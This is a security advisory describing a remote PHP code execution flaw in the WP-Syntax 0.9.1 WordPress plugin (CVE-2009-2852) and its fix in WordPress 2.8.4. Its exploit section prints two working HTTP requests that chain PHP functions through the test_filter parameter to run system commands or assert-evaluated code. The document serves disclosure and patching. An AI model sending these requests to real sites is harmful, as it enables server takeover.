WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

Bugtraq ID:	36040
Class:	Input Validation Error
CVE:	CVE-2009-2852
Remote:	Yes
Local:	No
Published:	Aug 13 2009 12:00AM
Updated:	Apr 13 2015 09:08PM
Credit:	Inj3ct0r
Vulnerable:	WP-Syntax WP-Syntax 0.9.1
Not Vulnerable:	WordPress WordPress 2.8.4

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

The WP-Syntax plugin for WordPress is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

This issue affects WP-Syntax 0.9.1 and prior version.

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

Attackers may exploit this issue through a browser.

The following example HTTP requests are available:

GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close


GET /wp-content/index.php?test_filter[wp_head][99][]=session_start&test_filter[wp_head][99][0]=session_id&test_filter[wp_head][99][1]=base64_decode&test_filter[wp_head][99][2]=assert&q=phpinfo();exit;

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

Solution:
The vendor indicates that WordPress 2.8.4 Security Release resolves this issue in the plugin.

WordPress Plugin WP-Syntax Remote PHP Code Execution Vulnerability

References:

• WordPress 2.8.4: Security Release (WordPress)
  
• WP-Syntax Homepage (WP-Syntax)